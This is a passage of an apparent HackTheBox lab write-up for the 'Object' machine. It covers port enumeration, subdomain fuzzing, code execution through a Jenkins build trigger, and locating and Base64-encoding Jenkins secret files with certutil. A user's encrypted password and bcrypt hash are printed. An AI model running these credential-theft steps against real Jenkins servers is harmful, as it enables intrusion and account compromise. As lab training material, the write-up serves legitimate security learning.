decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I know where the initial password is stored.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0627.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;An arbitrary file read would also make this exploitable. I had been leaving the UDP ports aside because I first wanted to gather more information about these two web services.&lt;/p&gt;&#10;&lt;p&gt;UDP 53&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dig object.htb @object.htb +notcp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dig object.htb @object.htb +notcp AXFR&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I did not find anything.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0628.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0629.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;88 Kerberos&lt;/p&gt;&#10;&lt;p&gt;This did not disclose any useful information, so I moved on.&lt;/p&gt;&#10;&lt;p&gt;123 NTP&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -sU -sV --script &amp;#34;ntp* and (discovery or vuln) and not (dos or brute)&amp;#34; -p 123 object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpq -c readlist object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpq -c readvar object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpq -c peers object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpq -c associations object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdc -c monlist object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdc -c listpeers object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdc -c sysinfo object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0630.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The other checks returned &lt;code&gt;xxxxRequest timed out&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;389 LDAP&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3fad0ec9-414c-432a-ba0b-837c74091dd6?redirectedfrom=MSDN" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3fad0ec9-414c-432a-ba0b-837c74091dd6?redirectedfrom=MSDN&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://serverfault.com/questions/661535/querying-ldap-server-on-udp" target="_blank" rel="noopener"&#10; &gt;https://serverfault.com/questions/661535/querying-ldap-server-on-udp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0631.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In other words, it can only be used for authentication. At this point I already had UDP port 88, UDP port 389, and TCP port 5985 for authentication.&lt;/p&gt;&#10;&lt;p&gt;There was nothing useful over UDP, and &lt;code&gt;dnsenum&lt;/code&gt; does not support UDP, so manual brute-forcing was the only option left. I decided to use FFUF to brute-force subdomains.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.11.132 -H &amp;#34;Host: FUZZ.object.htb&amp;#34; --hh 29932&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;By now I was not even completely sure whether this was a domain controller. I turned my attention back to TCP ports 80 and 8080. While brute-forcing subdomains, I also brute-forced directories. I tried running &lt;code&gt;cewl&lt;/code&gt; against port 80 and using the resulting list to brute-force passwords on port 8080, but that did not work.&lt;/p&gt;&#10;&lt;p&gt;I could not just sit around waiting for the brute-force jobs. Since the service on port 8080 allowed user registration and access to the admin panel, I figured those features had to be connected somehow. Registered Jenkins users had no projects, so I decided to look up Jenkins tutorials, create a project myself, and deploy it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://juejin.cn/post/7077957170121146376" target="_blank" rel="noopener"&#10; &gt;https://juejin.cn/post/7077957170121146376&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/" target="_blank" rel="noopener"&#10; &gt;https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I found the blog posts above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0632.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0633.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0634.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Plenty of blog posts explain how to write this; just search for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://community.jenkins.io/t/windows-batch-w-error-ends-unexpectedly-w-status-success/4884/3" target="_blank" rel="noopener"&#10; &gt;https://community.jenkins.io/t/windows-batch-w-error-ends-unexpectedly-w-status-success/4884/3&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/75830922/execute-windows-batch-command-in-jenkins-for-java-program" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/75830922/execute-windows-batch-command-in-jenkins-for-java-program&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/" target="_blank" rel="noopener"&#10; &gt;https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/&lt;/a&gt; # This post covers the entire process, though the commands are not very detailed.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, after following the whole process, I found that the Build button was missing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0635.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That meant I could not execute it, probably because my privileges were insufficient. I started Googling how to trigger a build.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://ghazanfaralidevops.medium.com/jenkins-popular-build-triggers-automate-the-cicd-pipeline-81cc39f4701b" target="_blank" rel="noopener"&#10; &gt;https://ghazanfaralidevops.medium.com/jenkins-popular-build-triggers-automate-the-cicd-pipeline-81cc39f4701b&lt;/a&gt;&#9;# This one introduces all of them.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://codefresh.io/learn/jenkins/9-jenkins-build-triggers-and-how-to-use-them-effectively/" target="_blank" rel="noopener"&#10; &gt;https://codefresh.io/learn/jenkins/9-jenkins-build-triggers-and-how-to-use-them-effectively/&lt;/a&gt; # This one is more comprehensive than the previous post.&lt;/p&gt;&#10;&lt;p&gt;I tried them one by one, following the tutorials.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0636.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;The first is a scheduled task&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;The post also explained the scheduled-task syntax. &lt;code&gt;* * * * *&lt;/code&gt; means building once every minute.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0637.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a result here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0638.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The console also produced output, which confirmed that commands could be executed here. For learning purposes, I decided to look at the other options too—at least the ones that were not too difficult to set up.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;The second is the SCM (Source Code Management) trigger&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;The SCM trigger is one of the most commonly used build triggers in Jenkins. It starts a build whenever it detects a change in the source-code repository. This trigger is crucial for continuous integration because it ensures the latest code changes are automatically tested and integrated into the main codebase.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0639.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This also uses five &lt;code&gt;*&lt;/code&gt; characters to check once per minute. As long as I make a commit, the build should complete within a minute.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0640.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a project. As soon as Jenkins downloaded and built it, the build step would execute. Unfortunately, it kept saying that it could not connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0641.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A build also ran here, but it failed because I had not configured the Git tool. That happened because I did not understand the setup at first. I fixed it later—as the configuration screenshot above shows, I set it to &lt;code&gt;git&lt;/code&gt;—but it still threw an error at this point.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;The third is Trigger builds remotely (e.g., from scripts)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0642.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The access method is also very simple.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://object.htb:8080/job/123124/build?token=124124" target="_blank" rel="noopener"&#10; &gt;http://object.htb:8080/job/123124/build?token=124124&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;For the token, I just use the number I entered above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0643.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That worked too.&lt;/p&gt;&#10;&lt;p&gt;In the end, I chose the URL trigger. Running it every minute would make the build history grow endlessly, which would be a pain.&lt;/p&gt;&#10;&lt;p&gt;Time to prepare a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0644.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Strangely, the connection failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0645.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I was sure it was not a port issue; I simply could not connect. Perhaps all outbound traffic was blocked. That would also explain why the Git attempt earlier failed even though the project definitely existed. In that case, I could only use the intended way to get a shell: WinRM. Before using WinRM, though, I needed an account.&lt;/p&gt;&#10;&lt;p&gt;Before trying my idea, I decided to inspect the firewall configuration.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/powershell/module/netsecurity/get-netfirewallrule?view=windowsserver2022-ps" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/powershell/module/netsecurity/get-netfirewallrule?view=windowsserver2022-ps&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I found the command syntax here; everything is documented on the page above.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell /c &amp;#34;Get-NetFirewallRule -PolicyStore ActiveStore -Direction Outbound -Action Block -Enabled True&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-PolicyStore All firewall rules in the active store&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Direction Outbound policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Action Block policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Enabled Enabled state&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0646.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, all outbound traffic was blocked. At this point, the only way to get a shell was to obtain information through this web service and then connect over WinRM. Before I achieved RCE through the build project, there had been a hint about where the &lt;code&gt;admin&lt;/code&gt; password was stored. The Linux location I found at the time was &lt;code&gt;confing.xml&lt;/code&gt;; on Windows, it apparently looked like this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0647.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was it. I could simply use &lt;code&gt;dir /S&lt;/code&gt; to find it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0648.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Indeed, I did not find &lt;code&gt;confing.xml&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;I searched again. The hint said the password file was called &lt;code&gt;config.xml&lt;/code&gt;, so I searched for it again, this time including hidden files.&lt;/del&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd C:\&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir /S jenkins*&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir /S /a config.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;del&gt;Barring any surprises, this should be it.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0649.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0650.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;Exactly as described here.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@sdanerib/getting-started-with-jenkins-docker-part-iii-reset-jenkins-admin-password-when-you-have-a-ff81ffa6774f" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@sdanerib/getting-started-with-jenkins-docker-part-iii-reset-jenkins-admin-password-when-you-have-a-ff81ffa6774f&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This post gave me the answer: the filename &lt;code&gt;config.xml&lt;/code&gt; was correct.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0651.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The password was right there. I had seen this result earlier, but at the time I did not realize it was the password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;username&amp;gt;oliver&amp;lt;/username&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;password&amp;gt;{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}&amp;lt;/password&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;passwordHash&amp;gt;#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW&amp;lt;/passwordHash&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could not find a blog post explaining the decryption process. I only found a few GitHub projects.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/hoto/jenkins-credentials-decryptor" target="_blank" rel="noopener"&#10; &gt;https://github.com/hoto/jenkins-credentials-decryptor&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This one, for example, was very detailed, so I followed it. If it did not work, I would keep looking.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/credentials.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/secrets/master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/secrets/hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/jobs/example-folder/config.xml - Possible location&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I needed these files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/secrets/master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;c:\&amp;gt;dir /S /a master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Volume in drive C has no label.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Volume Serial Number is 212C-60B7&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Directory of c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $JENKINS_HOME/secrets/hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0652.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It appeared to be a binary file. That was easy enough to handle: whenever I run into a binary file, I can usually Base64-encode it and decode it again. I found this method:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -f -encode c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\1.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;type c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\1.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0653.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 